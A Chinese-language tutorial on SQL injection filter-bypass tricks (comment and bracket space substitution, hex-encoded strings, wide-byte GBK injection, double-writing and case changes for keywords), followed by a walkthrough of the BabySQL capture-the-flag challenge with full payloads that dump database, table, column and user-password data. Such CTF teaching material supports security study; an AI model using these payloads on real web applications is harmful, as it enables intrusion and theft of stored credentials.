SQL注入绕过技巧

空格绕过

  1. 注释符/* */,%a0,%0a
  2. 括号绕过空格
select(user())from dual where(1=1)and(2=2)

引号绕过

采用16进制编码绕过,例如:

select column_name from information_schema.columns where table_name='users'

选中users,将其改为16进制编码

select column_name from information_schema.tables where table_name=0x7573657273

绕过注释符:#、-- -

通过闭合后面的引号来进行绕过

  • id=1' union select 1,2,3||'1
  • id=1' union select 1,2,'3
  • Id=1’ where ‘1’=‘1
  • Id=1’ and ‘1’=‘1
  • Id=1’ or ‘1’=‘1

宽字节注入:

大家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。

?id=1%df'

代替and,or,not等等

  1. 利用符号替换 not=!、and=&&、or=||、xnot=|
  2. 在敏感词中添加注释:an/**/d 
  3. 双写绕过:oorr
  4. 大小写变形:AnD
  5. 编码

绕过union,select,where等:

  • uniounionn:双写绕过 union、select、where等.
  • U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
  • UniOn:大小写绕过

例题:[极客大挑战 2019]BabySQL1

首先输入万能密码进行尝试:' or '1'='1-- -,发现回显是错误用户名和密码,说明没有注入成功,然后输入在用户名处输入1'发现报错。

根据报错信息推断出闭合的条件就是单引号',所以继续在用户名处输入1'-- -,密码:1(一下密码不做特殊声明外均为1)进一步验证判断是否正确。

发现成功注入,说明闭合条件判断正确,同时能够确认几点信息:

  1. 该题目没有过滤单引号
  2. 该题目没有过滤空格
  3. 该题目没有过滤注释符

确认几点信息之后继续输入语句进行判断数据库的列数,方便进一步注入。

?username=admin' order by 1,2,3,4 -- -&password=1

发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1,2,3,4 -- -' and password='1'' at line 1

这里说明输入的order by语句被过滤了or,导致最后语句只输入了der 1,2,3,4,所以首先尝试双写or,即写为oorrder进行尝试,看看能否成功。

?username=admin' oorrder by 1,2,3,4 -- -&password=1

输入之后发现order的问题没有继续报错,但是by被屏蔽了,所以同样的处理双写by为bbyy,最终的语句为:

?username=admin' oorrder bbyy 1,2,3,4 -- -&password=1

输入语句之后发现回显为:Unknown column '4' in 'order clause'。说明一共只有三列。这时候输入union select语句去判断显示位

?username=admin'  and 1=2 union selcet 1,2,3 -- -&password=1

发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=2 selcet 1,2,3 -- -' and password='1'' at line 1。说明union被过滤了,所以同样的办法,双写union为ununionion继续尝试。发现仍然报错,这时候继续双写select为seselectlect尝试。发现成功。

?username=-1'  ununionion seselectlect 1,2,3 -- -&password=1

找出显示位以后继续输入如下语句,依次爆出数据库,表名以及列名。

?username=-1'  ununionion seselectlect 1,2,database()-- -&password=1?username=-1'  ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() -- -&password=1?username=-1'  ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' -- -&password=1

列名如下:

发现还没有找到flag值,所以继续爆id,username,password看看flag是否隐藏在数据之中。

?username=-1'  ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frfromom b4bsql -- -&password=1

发现flag值隐藏在password之中,其值为:flag{7186e94f-091e-4e44-8736-c93c5534aa64}

SQL注入绕过(passby)策略相关推荐

  1. sql注释符注入防御_WAF的SQL注入绕过手段和防御技术

    一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数 ...

  2. 黑客常用SQL注入绕过技术总结!

    今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮, ...

  3. sql注入绕过姿势--骚姿势大全

    项目地址 https://github.com/Junehck/SQL-injection-bypass 项目介绍 记录实战中的各种sql注入绕过姿势, 文章并不是完整的仅提取出byapss部分, 如 ...

  4. 黑客常用SQL注入绕过技术总结!(冰河吐血整理,建议收藏)

    大家好,我是冰河~~ 今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞, ...

  5. SQL注入绕过安全狗

    SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...

  6. 安全狗SQL注入绕过

    安全狗SQL注入绕过 本文用sqli-labs第一关为例 一.简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 1' and 1=1 %23 寻找被安全狗匹配的特征字符,这里没被拦 ...

  7. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  8. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  9. SQL注入-绕过安全狗

    目录 一.什么是安全狗 二.演示如何绕过安全狗的防护 1.方式一:内联注释正常绕过 2.方式二:内联反向思维绕过. 3.方式三:GET传参绕过 4.方式四:URL编码绕过 一.什么是安全狗 网站安全狗 ...

最新文章

  1. 如何使用FaunaDB + GraphQL
  2. 转- prototype
  3. ADO.NET 2.0 - 读者询问能否使用 SqlBulkCopy 对象来大量复制文字文件
  4. ElasticSearch 2.2 升级 6.2.4
  5. Java 集合系列(2): ArrayList源码深入解析和使用示例
  6. matlab涡轮机建模,数学实验大作业---数学曲面
  7. Pinterest:Android系统上的视频管理
  8. Android XML文件中设置字体
  9. 【渝粤题库】陕西师范大学200731 计算机组成原理
  10. golang高并发的理解
  11. 从头来之【iOS及历史版本特性介绍】
  12. python 键盘输入一个整数、输出它的千位与百位_Python编程习题
  13. [转]关于computer vision的会议及vision guys
  14. HTML语言的三要素,web前端基础技术三要素HTML、CSS、JavaScript
  15. Linux音频驱动-OSS和ALSA声音系统简介及其比较
  16. 十、工业相机与SCARA机械臂的坐标系标定
  17. android 京东平板布局,京东商城上线安卓Pad客户端 完美布局移动端
  18. 看待一件事,从不喜欢再到喜欢,转变需要多大
  19. 最优化方法一:微分求极值
  20. 数据结构学习笔记之快速排序(非递归)

热门文章

  1. Android写入txt文件
  2. 小米有品5月12日上线了首款挂耳咖啡——龢言挂耳咖啡
  3. html按钮超链接到微信,技巧|教你给微信聊天文字加上超链接,装逼小技能!...
  4. java是面向对象还是面向过程_Java教程分享Java面向对象与面向过程
  5. 20210719-t101-对称二叉树
  6. 常用电平LVTTL、LVCMOS、LVDS、CML的标准和区别
  7. Debian安装metasploit
  8. 上班族最常用数据图表分析软件有哪些
  9. python在tk界面播放本地视频_tkinter做一个本地视频播放器(2)——弹幕
  10. 添加按钮声音nbsp;nbsp;播放声音